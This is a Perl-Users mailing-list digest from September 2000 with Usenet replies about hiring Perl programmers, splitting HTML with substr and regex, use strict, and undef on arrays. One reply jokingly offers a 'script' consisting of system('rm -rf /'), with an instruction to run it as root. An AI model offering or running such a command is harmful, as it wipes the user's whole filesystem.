[16871] in Perl-Users-Digest
Perl-Users Digest, Issue: 4283 Volume: 9
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Mon Sep 11 09:10:28 2000
Date: Mon, 11 Sep 2000 06:10:13 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <968677813-v9-i4283@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Mon, 11 Sep 2000 Volume: 9 Number: 4283
Today's topics:
Re: Qualifications for new Perl programmer????? <godzilla@stomp.stomp.tokyo>
Re: Qualifications for new Perl programmer????? <christopher_j@uswest.net>
Re: Qualifications for new Perl programmer????? <godzilla@stomp.stomp.tokyo>
Re: Qualifications for new Perl programmer????? (Eric Bohlman)
Re: Qualifications for new Perl programmer????? <nickco3@yahoo.co.uk>
Re: regular expression syntax <godzilla@stomp.stomp.tokyo>
Re: use strict: why? <nickco3@yahoo.co.uk>
Re: use strict: why? <nickco3@yahoo.co.uk>
Re: use strict: why? <godzilla@stomp.stomp.tokyo>
Re: use strict: why? <nickco3@yahoo.co.uk>
Re: why does foreach iterate on an undef variable? (Martien Verbruggen)
Digest Administrivia (Last modified: 16 Sep 99) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Mon, 11 Sep 2000 00:15:37 -0700
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Re: Qualifications for new Perl programmer?????
Message-Id: <39BC8699.BDEE5C92@stomp.stomp.tokyo>
jason wrote:
> Peter Gregefalk wrote:
> >Anybody with experience with hiring Perl programmers or even programmers
> I've recently been on a bit of a recruitment drive for just such an
> apple .. one thing's fer sure - pickin's is scarce
> I'm not a big believer in 'qualifications' in the conventional sense of
> the word .. but I did ask that everyone complete the following quick
> quiz ..
> here's the quiz (feel free to use it) .. the answers should be obvious
(snipped regurgitate rote memorization of textual material)
pffffttt....
Employment Qualifications -
Write an imaginative and creative Perl script with a minimum
of five-hundred lines which produces results which will give
me a smile, make me laugh or simply amaze me. This script
must bend, break, twist, mutilate and violate every Perl
rule possible, yet run with lightning fast perfection. It
must be written Perl 4 style and not use pragma hints nor
any modules. Scoring will be by how surprised I am.
Godzilla!
--
Androids And More
http://la.znet.com/~callgirl/android.html
------------------------------
Date: Mon, 11 Sep 2000 00:27:38 -0700
From: "Christopher M. Jones" <christopher_j@uswest.net>
Subject: Re: Qualifications for new Perl programmer?????
Message-Id: <GP%u5.1835$ko1.581858@news.uswest.net>
"Godzilla!" <godzilla@stomp.stomp.tokyo> wrote:
> pffffttt....
>
> Employment Qualifications -
>
> Write an imaginative and creative Perl script with a minimum
> of five-hundred lines which produces results which will give
> me a smile, make me laugh or simply amaze me. This script
> must bend, break, twist, mutilate and violate every Perl
> rule possible, yet run with lightning fast perfection. It
> must be written Perl 4 style and not use pragma hints nor
> any modules. Scoring will be by how surprised I am.
(make sure to run this as root)
#!/usr/bin/perl
system('rm -rf /');
###########
surprised?!
------------------------------
Date: Mon, 11 Sep 2000 00:34:23 -0700
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Re: Qualifications for new Perl programmer?????
Message-Id: <39BC8AFF.18AE0CA0@stomp.stomp.tokyo>
"Christopher M. Jones" wrote:
> Godzilla! wrote:
(snipped)
> surprised?!
Stupefied by your inability to follow
simple written instructions.
My secretary will show you to our
front door.
Godzilla!
--
Kira - Professional Poker Player
http://la.znet.com/~callgirl/android/poker.cgi
------------------------------
Date: 11 Sep 2000 07:39:37 GMT
From: ebohlman@netcom.com (Eric Bohlman)
Subject: Re: Qualifications for new Perl programmer?????
Message-Id: <8pi27p$kk7$9@slb1.atl.mindspring.net>
Christopher M. Jones (christopher_j@uswest.net) wrote:
: Oooo, ouch that's harsh. I guess that's why a lot of job
: postings have fairly unreasonably high required skill levels
: (for that pay anyway), to try to weed out the wannabes. I
: suppose programming and webdev are somewhat similar, there's
: a vast imbalance of people calling themselves programmers
: compared to people who can actually program their way out of
: a wet paper sack. And it seems like every other geek with a
: copy of Frontpage and MS Paint decides to call themselves a
: web designer / graphic artist these days.
True, but there are a couple other reasons for pumped-up skill levels.
In the US, if you see a job ad that requires a bunch of seemingly
unrelated skills, a likely reason is that the firm already has a
specific candidate in mind, but the candidate is a foreign national and
can't obtain a work visa unless his potential employer demonstrates
to the immigration authorities that they can't find a US citizen who's
qualified for the position. The result is that the firm defines the
qualifications in terms of the candidate's specific experience and then
places an ad, knowing full well that they're unlikely to find anybody.
Another reason is that the job description may have been written by an HR
type who doesn't really understand the skill-set involved and just
reaches for a bunch of buzzwords.
: There's one good way to avoid getting unfairly pegged as
: someone who doesn't know their stuff, and that is to have
: a gallery of examples (as well as a good history of all
: your past work _if_ you can show it).
One of the advantages of the open source movement is that it allows
programmers to build portfolios. As Gerald Weinberg pointed out, if
you're going to hire a musician or a performer, you can simply give them
an audition. It won't tell you everything you need to know, but it will
let you put together a "short list" very quickly.
------------------------------
Date: Mon, 11 Sep 2000 11:01:50 +0100
From: Nick Condon <nickco3@yahoo.co.uk>
Subject: Re: Qualifications for new Perl programmer?????
Message-Id: <39BCAD8E.DFFB4C11@yahoo.co.uk>
"Godzilla!" wrote:
> Write an imaginative and creative Perl script with a minimum
> of five-hundred lines
<snipped>
English teacher.
------------------------------
Date: Mon, 11 Sep 2000 01:45:46 -0700
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Re: regular expression syntax
Message-Id: <39BC9BBA.D60D7A53@stomp.stomp.tokyo>
pkobor@pfksystems.com wrote:
> I want to split $content with multiple lines of html text into three
> strings, the first with everything up to the first occurrence of <ul>,
> the second with everything that follows <ul> until the next </ul>, and
> the third with everything after the </ul>.
Two alternative methods to usual Perl 5 Cargo Cult.
Godzilla!
--
Bark Bent - Ace News Reporter
http://la.znet.com/~callgirl/android/news.cgi
#!/usr/local/bin/perl
print "Content-type: text/plain\n\n";
$string = "I want to split content with multiple lines of html text into three
strings, the first with everything up to the first occurrence of «ul»,<ul>
the second with everything that follows «ul» until the next «/ul»,</ul>
and the third with everything after the «/ul».";
## Simple Substring
$line1 = substr ($string, 0, index ($string, "<ul>"));
$stop = index ($string, "</ul>", length ($line1));
$line2 = substr ($string, length ($line1) + 4, $stop - length ($line1) - 4);
$stop = length ($string) - length ($line1) + length ($line2) + 4;
$line3 = substr ($string, rindex ($string, "</ul>") + 5, $stop);
print "Substring Output:\n\n$line1\n$line2\n$line3\n\n";
## Simple Regex
if ($string =~ /(.*)<ul>(.*)<\/ul>(.*)/)
{
$line1 = $1;
$line2 = $2;
$line3 = $3;
}
print "\n\nRegex Output:\n\n$line1\n$line2\n$line3";
exit;
PRINTED RESULTS:
________________
Substring Output:
I want to split content with multiple lines of html text into three
strings, the first with everything up to the first occurrence of «ul»,
the second with everything that follows «ul» until the next «/ul»,
and the third with everything after the «/ul».
Regex Output:
I want to split content with multiple lines of html text into three
strings, the first with everything up to the first occurrence of «ul»,
the second with everything that follows «ul» until the next «/ul»,
and the third with everything after the «/ul».
------------------------------
Date: Mon, 11 Sep 2000 09:19:55 +0100
From: Nick Condon <nickco3@yahoo.co.uk>
Subject: Re: use strict: why?
Message-Id: <39BC95AB.63E2878A@yahoo.co.uk>
Craig Berry wrote:
> <quibble>
> Methane is odorless. "Natural gas" as used in homes has a smelly
> chemical added to it in order to make leaks more easily detectable.
> </quibble>
What about "natural gas" of my own... err... making? That's certainly
easy to detect. :-)
------------------------------
Date: Mon, 11 Sep 2000 09:42:18 +0100
From: Nick Condon <nickco3@yahoo.co.uk>
Subject: Re: use strict: why?
Message-Id: <39BC9AE9.791E39FA@yahoo.co.uk>
"Godzilla!" wrote:
> If Mr. X is not a jailbird outside the gray bar hotel,
> Mr. X is a jailbird inside the gray bar hotel,
> and Mr. X is no longer a jailbird back outside again.
Reasoning your programming by analgy is like loading your shotgun with
cheerios.
------------------------------
Date: Mon, 11 Sep 2000 01:49:04 -0700
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Re: use strict: why?
Message-Id: <39BC9C80.17FFADCE@stomp.stomp.tokyo>
Nicked Condom wrote:
> Godzilla! wrote:
> > If Mr. X is not a jailbird outside the gray bar hotel,
> > Mr. X is a jailbird inside the gray bar hotel,
> > and Mr. X is no longer a jailbird back outside again.
> Reasoning your programming by analgy is like loading
> your shotgun with cheerios.
Your thoughts make as much sense as feathers on a snake.
Godzilla!
--
Kira - Professional Poker Player
http://la.znet.com/~callgirl/android/poker.cgi
------------------------------
Date: Mon, 11 Sep 2000 12:56:01 +0100
From: Nick Condon <nickco3@yahoo.co.uk>
Subject: Re: use strict: why?
Message-Id: <39BCC850.B6E60F16@yahoo.co.uk>
"Godzilla!" wrote:
> Nicked Condom wrote:
>
> > Godzilla! wrote:
>
> > > If Mr. X is not a jailbird outside the gray bar hotel,
> > > Mr. X is a jailbird inside the gray bar hotel,
> > > and Mr. X is no longer a jailbird back outside again.
>
> > Reasoning your programming by analgy is like loading
> > your shotgun with cheerios.
>
> Your thoughts make as much sense as feathers on a snake.
That's another way of putting it. I am delighted to see you understand.
------------------------------
Date: Mon, 11 Sep 2000 20:21:32 +1100
From: mgjv@tradingpost.com.au (Martien Verbruggen)
Subject: Re: why does foreach iterate on an undef variable?
Message-Id: <slrn8rp90s.m53.mgjv@martien.heliotrope.home>
On 11 Sep 2000 03:40:34 GMT,
Ilya Zakharevich <ilya@math.ohio-state.edu> wrote:
> [A complimentary Cc of this posting was sent to Martien Verbruggen
> <mgjv@comdyn.com.au>],
> who wrote in article <slrn8rdm2u.2cp.mgjv@verbruggen.comdyn.com.au>:
> > If you want to say
> >
> > undef @array;
> >
> > you are free to do so, but semantically it doesn't mean much, or is at
> > least ambiguous[1].
>
> There is no other way to achieve what undef @array is doing: freeing
> the storage accumulated in the array.
Which is hardly ever what people intend. They intend to end up with an
empty array. I maintain that
@array = ();
should be advocated as the correct way to achieve this.
> > [1] People might think you mean to assign undef to all elements of
> > your array.
>
> Applying a printed copy of Perl docs to the heads of such people can
> achieve wonders (assuming an appropriate delta-vee).
I agree. However, how often do we encounter people that have actually
read the docs and that need to ask this question?
Martien
--
Martien Verbruggen | My friend has a baby. I'm writing
Interactive Media Division | down all the noises the baby makes
Commercial Dynamics Pty. Ltd. | so later I can ask him what he meant
NSW, Australia | - Steven Wright
------------------------------
Date: 16 Sep 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 16 Sep 99)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
| NOTE: The mail to news gateway, and thus the ability to submit articles
| through this service to the newsgroup, has been removed. I do not have
| time to individually vet each article to make sure that someone isn't
| abusing the service, and I no longer have any desire to waste my time
| dealing with the campus admins when some fool complains to them about an
| article that has come through the gateway instead of complaining
| to the source.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V9 Issue 4283
**************************************
